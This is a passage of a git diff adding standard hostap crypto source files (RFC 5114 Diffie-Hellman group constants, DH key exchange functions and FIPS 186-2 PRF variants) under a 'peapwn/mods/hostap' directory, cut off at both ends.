0xD7, 0xA1, + 0x37, 0xDC, 0x7A, 0x00, 0x9B, 0xC6, 0x69, 0x5F, + 0xAC, 0xC1, 0xE5, 0x00, 0xE3, 0x25, 0xC9, 0x76, + 0x78, 0x19, 0x75, 0x0A, 0xE8, 0xB9, 0x0E, 0x81, + 0xFA, 0x41, 0x6B, 0xE7, 0x37, 0x3A, 0x7F, 0x7B, + 0x6A, 0xAF, 0x38, 0x17, 0xA3, 0x4C, 0x06, 0x41, + 0x5A, 0xD4, 0x20, 0x18, 0xC8, 0x05, 0x8E, 0x4F, + 0x2C, 0xF3, 0xE4, 0xBF, 0xDF, 0x63, 0xF4, 0x79, + 0x91, 0xD4, 0xBD, 0x3F, 0x1B, 0x66, 0x44, 0x5F, + 0x07, 0x8E, 0xA2, 0xDB, 0xFF, 0xAC, 0x2D, 0x62, + 0xA5, 0xEA, 0x03, 0xD9, 0x15, 0xA0, 0xAA, 0x55, + 0x66, 0x47, 0xB6, 0xBF, 0x5F, 0xA4, 0x70, 0xEC, + 0x0A, 0x66, 0x2F, 0x69, 0x07, 0xC0, 0x1B, 0xF0, + 0x53, 0xCB, 0x8A, 0xF7, 0x79, 0x4D, 0xF1, 0x94, + 0x03, 0x50, 0xEA, 0xC5, 0xDB, 0xE2, 0xED, 0x3B, + 0x7A, 0xA8, 0x55, 0x1E, 0xC5, 0x0F, 0xDF, 0xF8, + 0x75, 0x8C, 0xE6, 0x58, 0xD1, 0x89, 0xEA, 0xAE, + 0x6D, 0x2B, 0x64, 0xF6, 0x17, 0x79, 0x4B, 0x19, + 0x1C, 0x3F, 0xF4, 0x6B, 0xB7, 0x1E, 0x02, 0x34, + 0x02, 0x1F, 0x47, 0xB3, 0x1F, 0xA4, 0x30, 0x77, + 0x09, 0x5F, 0x96, 0xAD, 0x85, 0xBA, 0x3A, 0x6B, + 0x73, 0x4A, 0x7C, 0x8F, 0x36, 0xDF, 0x08, 0xAC, + 0xBA, 0x51, 0xC9, 0x37, 0x89, 0x7F, 0x72, 0xF2, + 0x1C, 0x3B, 0xBE, 0x5B, 0x54, 0x99, 0x6F, 0xC6, + 0x6C, 0x5F, 0x62, 0x68, 0x39, 0xDC, 0x98, 0xDD, + 0x1D, 0xE4, 0x19, 0x5B, 0x46, 0xCE, 0xE9, 0x80, + 0x3A, 0x0F, 0xD3, 0xDF, 0xC5, 0x7E, 0x23, 0xF6, + 0x92, 0xBB, 0x7B, 0x49, 0xB5, 0xD2, 0x12, 0x33, + 0x1D, 0x55, 0xB1, 0xCE, 0x2D, 0x72, 0x7A, 0xB4, + 0x1A, 0x11, 0xDA, 0x3A, 0x15, 0xF8, 0xE4, 0xBC, + 0x11, 0xC7, 0x8B, 0x65, 0xF1, 0xCE, 0xB2, 0x96, + 0xF1, 0xFE, 0xDC, 0x5F, 0x7E, 0x42, 0x45, 0x6C, + 0x91, 0x11, 0x17, 0x02, 0x52, 0x01, 0xBE, 0x03, + 0x89, 0xF5, 0xAB, 0xD4, 0x0D, 0x11, 0xF8, 0x63, + 0x9A, 0x39, 0xFE, 0x32, 0x36, 0x75, 0x18, 0x35, + 0xA5, 0xE5, 0xE4, 0x43, 0x17, 0xC1, 0xC2, 0xEE, + 0xFD, 0x4E, 0xA5, 0xBF, 0xD1, 0x60, 0x43, 0xF4, + 0x3C, 0xB4, 0x19, 0x81, 0xF6, 0xAD, 0xEE, 0x9D, + 0x03, 0x15, 0x9E, 0x7A, 0xD9, 0xD1, 0x3C, 0x53, + 0x36, 0x95, 0x09, 0xFC, 0x1F, 0xA2, 0x7C, 0x16, + 0xEF, 0x98, 0x87, 0x70, 0x3A, 0x55, 0xB5, 0x1B, + 0x22, 0xCB, 0xF4, 0x4C, 0xD0, 0x12, 0xAE, 0xE0, + 0xB2, 0x79, 0x8E, 0x62, 0x84, 0x23, 0x42, 0x8E, + 0xFC, 0xD5, 0xA4, 0x0C, 0xAE, 0xF6, 0xBF, 0x50, + 0xD8, 0xEA, 0x88, 0x5E, 0xBF, 0x73, 0xA6, 0xB9, + 0xFD, 0x79, 0xB5, 0xE1, 0x8F, 0x67, 0xD1, 0x34, + 0x1A, 0xC8, 0x23, 0x7A, 0x75, 0xC3, 0xCF, 0xC9, + 0x20, 0x04, 0xA1, 0xC5, 0xA4, 0x0E, 0x36, 0x6B, + 0xC4, 0x4D, 0x00, 0x17, 0x6A, 0xF7, 0x1C, 0x15, + 0xE4, 0x8C, 0x86, 0xD3, 0x7E, 0x01, 0x37, 0x23, + 0xCA, 0xAC, 0x72, 0x23, 0xAB, 0x3B, 0xF4, 0xD5, + 0x4F, 0x18, 0x28, 0x71, 0x3B, 0x2B, 0x4A, 0x6F, + 0xE4, 0x0F, 0xAB, 0x74, 0x40, 0x5C, 0xB7, 0x38, + 0xB0, 0x64, 0xC0, 0x6E, 0xCC, 0x76, 0xE9, 0xEF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* + * RFC 5114, 2.1. + * Group 22 - 1024-bit MODP Group with 160-bit Prime Order Subgroup + */ +static const u8 dh_group22_generator[] = { + 0xA4, 0xD1, 0xCB, 0xD5, 0xC3, 0xFD, 0x34, 0x12, + 0x67, 0x65, 0xA4, 0x42, 0xEF, 0xB9, 0x99, 0x05, + 0xF8, 0x10, 0x4D, 0xD2, 0x58, 0xAC, 0x50, 0x7F, + 0xD6, 0x40, 0x6C, 0xFF, 0x14, 0x26, 0x6D, 0x31, + 0x26, 0x6F, 0xEA, 0x1E, 0x5C, 0x41, 0x56, 0x4B, + 0x77, 0x7E, 0x69, 0x0F, 0x55, 0x04, 0xF2, 0x13, + 0x16, 0x02, 0x17, 0xB4, 0xB0, 0x1B, 0x88, 0x6A, + 0x5E, 0x91, 0x54, 0x7F, 0x9E, 0x27, 0x49, 0xF4, + 0xD7, 0xFB, 0xD7, 0xD3, 0xB9, 0xA9, 0x2E, 0xE1, + 0x90, 0x9D, 0x0D, 0x22, 0x63, 0xF8, 0x0A, 0x76, + 0xA6, 0xA2, 0x4C, 0x08, 0x7A, 0x09, 0x1F, 0x53, + 0x1D, 0xBF, 0x0A, 0x01, 0x69, 0xB6, 0xA2, 0x8A, + 0xD6, 0x62, 0xA4, 0xD1, 0x8E, 0x73, 0xAF, 0xA3, + 0x2D, 0x77, 0x9D, 0x59, 0x18, 0xD0, 0x8B, 0xC8, + 0x85, 0x8F, 0x4D, 0xCE, 0xF9, 0x7C, 0x2A, 0x24, + 0x85, 0x5E, 0x6E, 0xEB, 0x22, 0xB3, 0xB2, 0xE5 +}; +static const u8 dh_group22_prime[] = { + 0xB1, 0x0B, 0x8F, 0x96, 0xA0, 0x80, 0xE0, 0x1D, + 0xDE, 0x92, 0xDE, 0x5E, 0xAE, 0x5D, 0x54, 0xEC, + 0x52, 0xC9, 0x9F, 0xBC, 0xFB, 0x06, 0xA3, 0xC6, + 0x9A, 0x6A, 0x9D, 0xCA, 0x52, 0xD2, 0x3B, 0x61, + 0x60, 0x73, 0xE2, 0x86, 0x75, 0xA2, 0x3D, 0x18, + 0x98, 0x38, 0xEF, 0x1E, 0x2E, 0xE6, 0x52, 0xC0, + 0x13, 0xEC, 0xB4, 0xAE, 0xA9, 0x06, 0x11, 0x23, + 0x24, 0x97, 0x5C, 0x3C, 0xD4, 0x9B, 0x83, 0xBF, + 0xAC, 0xCB, 0xDD, 0x7D, 0x90, 0xC4, 0xBD, 0x70, + 0x98, 0x48, 0x8E, 0x9C, 0x21, 0x9A, 0x73, 0x72, + 0x4E, 0xFF, 0xD6, 0xFA, 0xE5, 0x64, 0x47, 0x38, + 0xFA, 0xA3, 0x1A, 0x4F, 0xF5, 0x5B, 0xCC, 0xC0, + 0xA1, 0x51, 0xAF, 0x5F, 0x0D, 0xC8, 0xB4, 0xBD, + 0x45, 0xBF, 0x37, 0xDF, 0x36, 0x5C, 0x1A, 0x65, + 0xE6, 0x8C, 0xFD, 0xA7, 0x6D, 0x4D, 0xA7, 0x08, + 0xDF, 0x1F, 0xB2, 0xBC, 0x2E, 0x4A, 0x43, 0x71 +}; +static const u8 dh_group22_order[] = { + 0xF5, 0x18, 0xAA, 0x87, 0x81, 0xA8, 0xDF, 0x27, + 0x8A, 0xBA, 0x4E, 0x7D, 0x64, 0xB7, 0xCB, 0x9D, + 0x49, 0x46, 0x23, 0x53 +}; + +/* + * RFC 5114, 2.2. + * Group 23 - 2048-bit MODP Group with 224-bit Prime Order Subgroup + */ +static const u8 dh_group23_generator[] = { + 0xAC, 0x40, 0x32, 0xEF, 0x4F, 0x2D, 0x9A, 0xE3, + 0x9D, 0xF3, 0x0B, 0x5C, 0x8F, 0xFD, 0xAC, 0x50, + 0x6C, 0xDE, 0xBE, 0x7B, 0x89, 0x99, 0x8C, 0xAF, + 0x74, 0x86, 0x6A, 0x08, 0xCF, 0xE4, 0xFF, 0xE3, + 0xA6, 0x82, 0x4A, 0x4E, 0x10, 0xB9, 0xA6, 0xF0, + 0xDD, 0x92, 0x1F, 0x01, 0xA7, 0x0C, 0x4A, 0xFA, + 0xAB, 0x73, 0x9D, 0x77, 0x00, 0xC2, 0x9F, 0x52, + 0xC5, 0x7D, 0xB1, 0x7C, 0x62, 0x0A, 0x86, 0x52, + 0xBE, 0x5E, 0x90, 0x01, 0xA8, 0xD6, 0x6A, 0xD7, + 0xC1, 0x76, 0x69, 0x10, 0x19, 0x99, 0x02, 0x4A, + 0xF4, 0xD0, 0x27, 0x27, 0x5A, 0xC1, 0x34, 0x8B, + 0xB8, 0xA7, 0x62, 0xD0, 0x52, 0x1B, 0xC9, 0x8A, + 0xE2, 0x47, 0x15, 0x04, 0x22, 0xEA, 0x1E, 0xD4, + 0x09, 0x93, 0x9D, 0x54, 0xDA, 0x74, 0x60, 0xCD, + 0xB5, 0xF6, 0xC6, 0xB2, 0x50, 0x71, 0x7C, 0xBE, + 0xF1, 0x80, 0xEB, 0x34, 0x11, 0x8E, 0x98, 0xD1, + 0x19, 0x52, 0x9A, 0x45, 0xD6, 0xF8, 0x34, 0x56, + 0x6E, 0x30, 0x25, 0xE3, 0x16, 0xA3, 0x30, 0xEF, + 0xBB, 0x77, 0xA8, 0x6F, 0x0C, 0x1A, 0xB1, 0x5B, + 0x05, 0x1A, 0xE3, 0xD4, 0x28, 0xC8, 0xF8, 0xAC, + 0xB7, 0x0A, 0x81, 0x37, 0x15, 0x0B, 0x8E, 0xEB, + 0x10, 0xE1, 0x83, 0xED, 0xD1, 0x99, 0x63, 0xDD, + 0xD9, 0xE2, 0x63, 0xE4, 0x77, 0x05, 0x89, 0xEF, + 0x6A, 0xA2, 0x1E, 0x7F, 0x5F, 0x2F, 0xF3, 0x81, + 0xB5, 0x39, 0xCC, 0xE3, 0x40, 0x9D, 0x13, 0xCD, + 0x56, 0x6A, 0xFB, 0xB4, 0x8D, 0x6C, 0x01, 0x91, + 0x81, 0xE1, 0xBC, 0xFE, 0x94, 0xB3, 0x02, 0x69, + 0xED, 0xFE, 0x72, 0xFE, 0x9B, 0x6A, 0xA4, 0xBD, + 0x7B, 0x5A, 0x0F, 0x1C, 0x71, 0xCF, 0xFF, 0x4C, + 0x19, 0xC4, 0x18, 0xE1, 0xF6, 0xEC, 0x01, 0x79, + 0x81, 0xBC, 0x08, 0x7F, 0x2A, 0x70, 0x65, 0xB3, + 0x84, 0xB8, 0x90, 0xD3, 0x19, 0x1F, 0x2B, 0xFA +}; +static const u8 dh_group23_prime[] = { + 0xAD, 0x10, 0x7E, 0x1E, 0x91, 0x23, 0xA9, 0xD0, + 0xD6, 0x60, 0xFA, 0xA7, 0x95, 0x59, 0xC5, 0x1F, + 0xA2, 0x0D, 0x64, 0xE5, 0x68, 0x3B, 0x9F, 0xD1, + 0xB5, 0x4B, 0x15, 0x97, 0xB6, 0x1D, 0x0A, 0x75, + 0xE6, 0xFA, 0x14, 0x1D, 0xF9, 0x5A, 0x56, 0xDB, + 0xAF, 0x9A, 0x3C, 0x40, 0x7B, 0xA1, 0xDF, 0x15, + 0xEB, 0x3D, 0x68, 0x8A, 0x30, 0x9C, 0x18, 0x0E, + 0x1D, 0xE6, 0xB8, 0x5A, 0x12, 0x74, 0xA0, 0xA6, + 0x6D, 0x3F, 0x81, 0x52, 0xAD, 0x6A, 0xC2, 0x12, + 0x90, 0x37, 0xC9, 0xED, 0xEF, 0xDA, 0x4D, 0xF8, + 0xD9, 0x1E, 0x8F, 0xEF, 0x55, 0xB7, 0x39, 0x4B, + 0x7A, 0xD5, 0xB7, 0xD0, 0xB6, 0xC1, 0x22, 0x07, + 0xC9, 0xF9, 0x8D, 0x11, 0xED, 0x34, 0xDB, 0xF6, + 0xC6, 0xBA, 0x0B, 0x2C, 0x8B, 0xBC, 0x27, 0xBE, + 0x6A, 0x00, 0xE0, 0xA0, 0xB9, 0xC4, 0x97, 0x08, + 0xB3, 0xBF, 0x8A, 0x31, 0x70, 0x91, 0x88, 0x36, + 0x81, 0x28, 0x61, 0x30, 0xBC, 0x89, 0x85, 0xDB, + 0x16, 0x02, 0xE7, 0x14, 0x41, 0x5D, 0x93, 0x30, + 0x27, 0x82, 0x73, 0xC7, 0xDE, 0x31, 0xEF, 0xDC, + 0x73, 0x10, 0xF7, 0x12, 0x1F, 0xD5, 0xA0, 0x74, + 0x15, 0x98, 0x7D, 0x9A, 0xDC, 0x0A, 0x48, 0x6D, + 0xCD, 0xF9, 0x3A, 0xCC, 0x44, 0x32, 0x83, 0x87, + 0x31, 0x5D, 0x75, 0xE1, 0x98, 0xC6, 0x41, 0xA4, + 0x80, 0xCD, 0x86, 0xA1, 0xB9, 0xE5, 0x87, 0xE8, + 0xBE, 0x60, 0xE6, 0x9C, 0xC9, 0x28, 0xB2, 0xB9, + 0xC5, 0x21, 0x72, 0xE4, 0x13, 0x04, 0x2E, 0x9B, + 0x23, 0xF1, 0x0B, 0x0E, 0x16, 0xE7, 0x97, 0x63, + 0xC9, 0xB5, 0x3D, 0xCF, 0x4B, 0xA8, 0x0A, 0x29, + 0xE3, 0xFB, 0x73, 0xC1, 0x6B, 0x8E, 0x75, 0xB9, + 0x7E, 0xF3, 0x63, 0xE2, 0xFF, 0xA3, 0x1F, 0x71, + 0xCF, 0x9D, 0xE5, 0x38, 0x4E, 0x71, 0xB8, 0x1C, + 0x0A, 0xC4, 0xDF, 0xFE, 0x0C, 0x10, 0xE6, 0x4F +}; +static const u8 dh_group23_order[] = { + 0x80, 0x1C, 0x0D, 0x34, 0xC5, 0x8D, 0x93, 0xFE, + 0x99, 0x71, 0x77, 0x10, 0x1F, 0x80, 0x53, 0x5A, + 0x47, 0x38, 0xCE, 0xBC, 0xBF, 0x38, 0x9A, 0x99, + 0xB3, 0x63, 0x71, 0xEB +}; + +/* + * RFC 5114, 2.3. + * Group 24 - 2048-bit MODP Group with 256-bit Prime Order Subgroup + */ +static const u8 dh_group24_generator[] = { + 0x3F, 0xB3, 0x2C, 0x9B, 0x73, 0x13, 0x4D, 0x0B, + 0x2E, 0x77, 0x50, 0x66, 0x60, 0xED, 0xBD, 0x48, + 0x4C, 0xA7, 0xB1, 0x8F, 0x21, 0xEF, 0x20, 0x54, + 0x07, 0xF4, 0x79, 0x3A, 0x1A, 0x0B, 0xA1, 0x25, + 0x10, 0xDB, 0xC1, 0x50, 0x77, 0xBE, 0x46, 0x3F, + 0xFF, 0x4F, 0xED, 0x4A, 0xAC, 0x0B, 0xB5, 0x55, + 0xBE, 0x3A, 0x6C, 0x1B, 0x0C, 0x6B, 0x47, 0xB1, + 0xBC, 0x37, 0x73, 0xBF, 0x7E, 0x8C, 0x6F, 0x62, + 0x90, 0x12, 0x28, 0xF8, 0xC2, 0x8C, 0xBB, 0x18, + 0xA5, 0x5A, 0xE3, 0x13, 0x41, 0x00, 0x0A, 0x65, + 0x01, 0x96, 0xF9, 0x31, 0xC7, 0x7A, 0x57, 0xF2, + 0xDD, 0xF4, 0x63, 0xE5, 0xE9, 0xEC, 0x14, 0x4B, + 0x77, 0x7D, 0xE6, 0x2A, 0xAA, 0xB8, 0xA8, 0x62, + 0x8A, 0xC3, 0x76, 0xD2, 0x82, 0xD6, 0xED, 0x38, + 0x64, 0xE6, 0x79, 0x82, 0x42, 0x8E, 0xBC, 0x83, + 0x1D, 0x14, 0x34, 0x8F, 0x6F, 0x2F, 0x91, 0x93, + 0xB5, 0x04, 0x5A, 0xF2, 0x76, 0x71, 0x64, 0xE1, + 0xDF, 0xC9, 0x67, 0xC1, 0xFB, 0x3F, 0x2E, 0x55, + 0xA4, 0xBD, 0x1B, 0xFF, 0xE8, 0x3B, 0x9C, 0x80, + 0xD0, 0x52, 0xB9, 0x85, 0xD1, 0x82, 0xEA, 0x0A, + 0xDB, 0x2A, 0x3B, 0x73, 0x13, 0xD3, 0xFE, 0x14, + 0xC8, 0x48, 0x4B, 0x1E, 0x05, 0x25, 0x88, 0xB9, + 0xB7, 0xD2, 0xBB, 0xD2, 0xDF, 0x01, 0x61, 0x99, + 0xEC, 0xD0, 0x6E, 0x15, 0x57, 0xCD, 0x09, 0x15, + 0xB3, 0x35, 0x3B, 0xBB, 0x64, 0xE0, 0xEC, 0x37, + 0x7F, 0xD0, 0x28, 0x37, 0x0D, 0xF9, 0x2B, 0x52, + 0xC7, 0x89, 0x14, 0x28, 0xCD, 0xC6, 0x7E, 0xB6, + 0x18, 0x4B, 0x52, 0x3D, 0x1D, 0xB2, 0x46, 0xC3, + 0x2F, 0x63, 0x07, 0x84, 0x90, 0xF0, 0x0E, 0xF8, + 0xD6, 0x47, 0xD1, 0x48, 0xD4, 0x79, 0x54, 0x51, + 0x5E, 0x23, 0x27, 0xCF, 0xEF, 0x98, 0xC5, 0x82, + 0x66, 0x4B, 0x4C, 0x0F, 0x6C, 0xC4, 0x16, 0x59 +}; +static const u8 dh_group24_prime[] = { + 0x87, 0xA8, 0xE6, 0x1D, 0xB4, 0xB6, 0x66, 0x3C, + 0xFF, 0xBB, 0xD1, 0x9C, 0x65, 0x19, 0x59, 0x99, + 0x8C, 0xEE, 0xF6, 0x08, 0x66, 0x0D, 0xD0, 0xF2, + 0x5D, 0x2C, 0xEE, 0xD4, 0x43, 0x5E, 0x3B, 0x00, + 0xE0, 0x0D, 0xF8, 0xF1, 0xD6, 0x19, 0x57, 0xD4, + 0xFA, 0xF7, 0xDF, 0x45, 0x61, 0xB2, 0xAA, 0x30, + 0x16, 0xC3, 0xD9, 0x11, 0x34, 0x09, 0x6F, 0xAA, + 0x3B, 0xF4, 0x29, 0x6D, 0x83, 0x0E, 0x9A, 0x7C, + 0x20, 0x9E, 0x0C, 0x64, 0x97, 0x51, 0x7A, 0xBD, + 0x5A, 0x8A, 0x9D, 0x30, 0x6B, 0xCF, 0x67, 0xED, + 0x91, 0xF9, 0xE6, 0x72, 0x5B, 0x47, 0x58, 0xC0, + 0x22, 0xE0, 0xB1, 0xEF, 0x42, 0x75, 0xBF, 0x7B, + 0x6C, 0x5B, 0xFC, 0x11, 0xD4, 0x5F, 0x90, 0x88, + 0xB9, 0x41, 0xF5, 0x4E, 0xB1, 0xE5, 0x9B, 0xB8, + 0xBC, 0x39, 0xA0, 0xBF, 0x12, 0x30, 0x7F, 0x5C, + 0x4F, 0xDB, 0x70, 0xC5, 0x81, 0xB2, 0x3F, 0x76, + 0xB6, 0x3A, 0xCA, 0xE1, 0xCA, 0xA6, 0xB7, 0x90, + 0x2D, 0x52, 0x52, 0x67, 0x35, 0x48, 0x8A, 0x0E, + 0xF1, 0x3C, 0x6D, 0x9A, 0x51, 0xBF, 0xA4, 0xAB, + 0x3A, 0xD8, 0x34, 0x77, 0x96, 0x52, 0x4D, 0x8E, + 0xF6, 0xA1, 0x67, 0xB5, 0xA4, 0x18, 0x25, 0xD9, + 0x67, 0xE1, 0x44, 0xE5, 0x14, 0x05, 0x64, 0x25, + 0x1C, 0xCA, 0xCB, 0x83, 0xE6, 0xB4, 0x86, 0xF6, + 0xB3, 0xCA, 0x3F, 0x79, 0x71, 0x50, 0x60, 0x26, + 0xC0, 0xB8, 0x57, 0xF6, 0x89, 0x96, 0x28, 0x56, + 0xDE, 0xD4, 0x01, 0x0A, 0xBD, 0x0B, 0xE6, 0x21, + 0xC3, 0xA3, 0x96, 0x0A, 0x54, 0xE7, 0x10, 0xC3, + 0x75, 0xF2, 0x63, 0x75, 0xD7, 0x01, 0x41, 0x03, + 0xA4, 0xB5, 0x43, 0x30, 0xC1, 0x98, 0xAF, 0x12, + 0x61, 0x16, 0xD2, 0x27, 0x6E, 0x11, 0x71, 0x5F, + 0x69, 0x38, 0x77, 0xFA, 0xD7, 0xEF, 0x09, 0xCA, + 0xDB, 0x09, 0x4A, 0xE9, 0x1E, 0x1A, 0x15, 0x97 +}; +static const u8 dh_group24_order[] = { + 0x8C, 0xF8, 0x36, 0x42, 0xA7, 0x09, 0xA0, 0x97, + 0xB4, 0x47, 0x99, 0x76, 0x40, 0x12, 0x9D, 0xA2, + 0x99, 0xB1, 0xA4, 0x7D, 0x1E, 0xB3, 0x75, 0x0B, + 0xA3, 0x08, 0xB0, 0xFE, 0x64, 0xF5, 0xFB, 0xD3 +}; + +#endif /* ALL_DH_GROUPS */ + + +#define DH_GROUP(id,safe) \ +{ id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \ +dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime), \ +dh_group ## id ## _order, sizeof(dh_group ## id ## _order), safe } + + +static struct dh_group dh_groups[] = { + DH_GROUP(5, 1), +#ifdef ALL_DH_GROUPS + DH_GROUP(1, 1), + DH_GROUP(2, 1), + DH_GROUP(14, 1), + DH_GROUP(15, 1), + DH_GROUP(16, 1), + DH_GROUP(17, 1), + DH_GROUP(18, 1), + DH_GROUP(22, 0), + DH_GROUP(23, 0), + DH_GROUP(24, 0) +#endif /* ALL_DH_GROUPS */ +}; + +#define NUM_DH_GROUPS ARRAY_SIZE(dh_groups) + + +const struct dh_group * dh_groups_get(int id) +{ + size_t i; + + for (i = 0; i < NUM_DH_GROUPS; i++) { + if (dh_groups[i].id == id) + return &dh_groups[i]; + } + return NULL; +} + + +/** + * dh_init - Initialize Diffie-Hellman handshake + * @dh: Selected Diffie-Hellman group + * @priv: Pointer for returning Diffie-Hellman private key + * Returns: Diffie-Hellman public value + */ +struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv) +{ + struct wpabuf *pv; + size_t pv_len; + + if (dh == NULL) + return NULL; + + wpabuf_free(*priv); + *priv = wpabuf_alloc(dh->prime_len); + if (*priv == NULL) + return NULL; + + if (random_get_bytes(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) + { + wpabuf_free(*priv); + *priv = NULL; + return NULL; + } + + if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) { + /* Make sure private value is smaller than prime */ + *(wpabuf_mhead_u8(*priv)) = 0; + } + wpa_hexdump_buf_key(MSG_DEBUG, "DH: private value", *priv); + + pv_len = dh->prime_len; + pv = wpabuf_alloc(pv_len); + if (pv == NULL) + return NULL; + if (crypto_mod_exp(dh->generator, dh->generator_len, + wpabuf_head(*priv), wpabuf_len(*priv), + dh->prime, dh->prime_len, wpabuf_mhead(pv), + &pv_len) < 0) { + wpabuf_free(pv); + wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); + return NULL; + } + wpabuf_put(pv, pv_len); + wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv); + + return pv; +} + + +/** + * dh_derive_shared - Derive shared Diffie-Hellman key + * @peer_public: Diffie-Hellman public value from peer + * @own_private: Diffie-Hellman private key from dh_init() + * @dh: Selected Diffie-Hellman group + * Returns: Diffie-Hellman shared key + */ +struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, + const struct wpabuf *own_private, + const struct dh_group *dh) +{ + struct wpabuf *shared; + size_t shared_len; + + if (dh == NULL || peer_public == NULL || own_private == NULL) + return NULL; + + shared_len = dh->prime_len; + shared = wpabuf_alloc(shared_len); + if (shared == NULL) + return NULL; + if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public), + wpabuf_head(own_private), wpabuf_len(own_private), + dh->prime, dh->prime_len, + wpabuf_mhead(shared), &shared_len) < 0) { + wpabuf_free(shared); + wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); + return NULL; + } + wpabuf_put(shared, shared_len); + wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared); + + return shared; +} diff --git a/peapwn/mods/hostap/src/crypto/dh_groups.h b/peapwn/mods/hostap/src/crypto/dh_groups.h new file mode 100644 index 000000000..d0e74b920 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/dh_groups.h @@ -0,0 +1,29 @@ +/* + * Diffie-Hellman groups + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DH_GROUPS_H +#define DH_GROUPS_H + +struct dh_group { + int id; + const u8 *generator; + size_t generator_len; + const u8 *prime; + size_t prime_len; + const u8 *order; + size_t order_len; + unsigned int safe_prime:1; +}; + +const struct dh_group * dh_groups_get(int id); +struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv); +struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, + const struct wpabuf *own_private, + const struct dh_group *dh); + +#endif /* DH_GROUPS_H */ diff --git a/peapwn/mods/hostap/src/crypto/fips_prf_cryptoapi.c b/peapwn/mods/hostap/src/crypto/fips_prf_cryptoapi.c new file mode 100644 index 000000000..dca93a3d3 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/fips_prf_cryptoapi.c @@ -0,0 +1,19 @@ +/* + * FIPS 186-2 PRF for Microsoft CryptoAPI + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" + + +int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) +{ + /* FIX: how to do this with CryptoAPI? */ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/fips_prf_gnutls.c b/peapwn/mods/hostap/src/crypto/fips_prf_gnutls.c new file mode 100644 index 000000000..947e6f641 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/fips_prf_gnutls.c @@ -0,0 +1,20 @@ +/* + * FIPS 186-2 PRF for libgcrypt + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto.h" + + +int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) +{ + /* FIX: how to do this with libgcrypt? */ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/fips_prf_internal.c b/peapwn/mods/hostap/src/crypto/fips_prf_internal.c new file mode 100644 index 000000000..a4bf50a47 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/fips_prf_internal.c @@ -0,0 +1,69 @@ +/* + * FIPS 186-2 PRF for internal crypto implementation + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "sha1_i.h" +#include "crypto.h" + + +int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) +{ + u8 xkey[64]; + u32 t[5], _t[5]; + int i, j, m, k; + u8 *xpos = x; + u32 carry; + + if (seed_len < sizeof(xkey)) + os_memset(xkey + seed_len, 0, sizeof(xkey) - seed_len); + else + seed_len = sizeof(xkey); + + /* FIPS 186-2 + change notice 1 */ + + os_memcpy(xkey, seed, seed_len); + t[0] = 0x67452301; + t[1] = 0xEFCDAB89; + t[2] = 0x98BADCFE; + t[3] = 0x10325476; + t[4] = 0xC3D2E1F0; + + m = xlen / 40; + for (j = 0; j < m; j++) { + /* XSEED_j = 0 */ + for (i = 0; i < 2; i++) { + /* XVAL = (XKEY + XSEED_j) mod 2^b */ + + /* w_i = G(t, XVAL) */ + os_memcpy(_t, t, 20); + SHA1Transform(_t, xkey); + _t[0] = host_to_be32(_t[0]); + _t[1] = host_to_be32(_t[1]); + _t[2] = host_to_be32(_t[2]); + _t[3] = host_to_be32(_t[3]); + _t[4] = host_to_be32(_t[4]); + os_memcpy(xpos, _t, 20); + + /* XKEY = (1 + XKEY + w_i) mod 2^b */ + carry = 1; + for (k = 19; k >= 0; k--) { + carry += xkey[k] + xpos[k]; + xkey[k] = carry & 0xff; + carry >>= 8; + } + + xpos += SHA1_MAC_LEN; + } + /* x_j = w_0|w_1 */ + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/fips_prf_nss.c b/peapwn/mods/hostap/src/crypto/fips_prf_nss.c new file mode 100644 index 000000000..2c962f4f1 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/fips_prf_nss.c @@ -0,0 +1,19 @@ +/* + * FIPS 186-2 PRF for NSS + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto.h" + + +int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) +{ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/fips_prf_openssl.c b/peapwn/mods/hostap/src/crypto/fips_prf_openssl.c new file mode 100644 index 000000000..d69eceabf --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/fips_prf_openssl.c @@ -0,0 +1,78 @@ +/* + * FIPS 186-2 PRF for libcrypto + * Copyright (c) 2004-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto.h" + + +static void sha1_transform(u8 *state, const u8 data[64]) +{ + 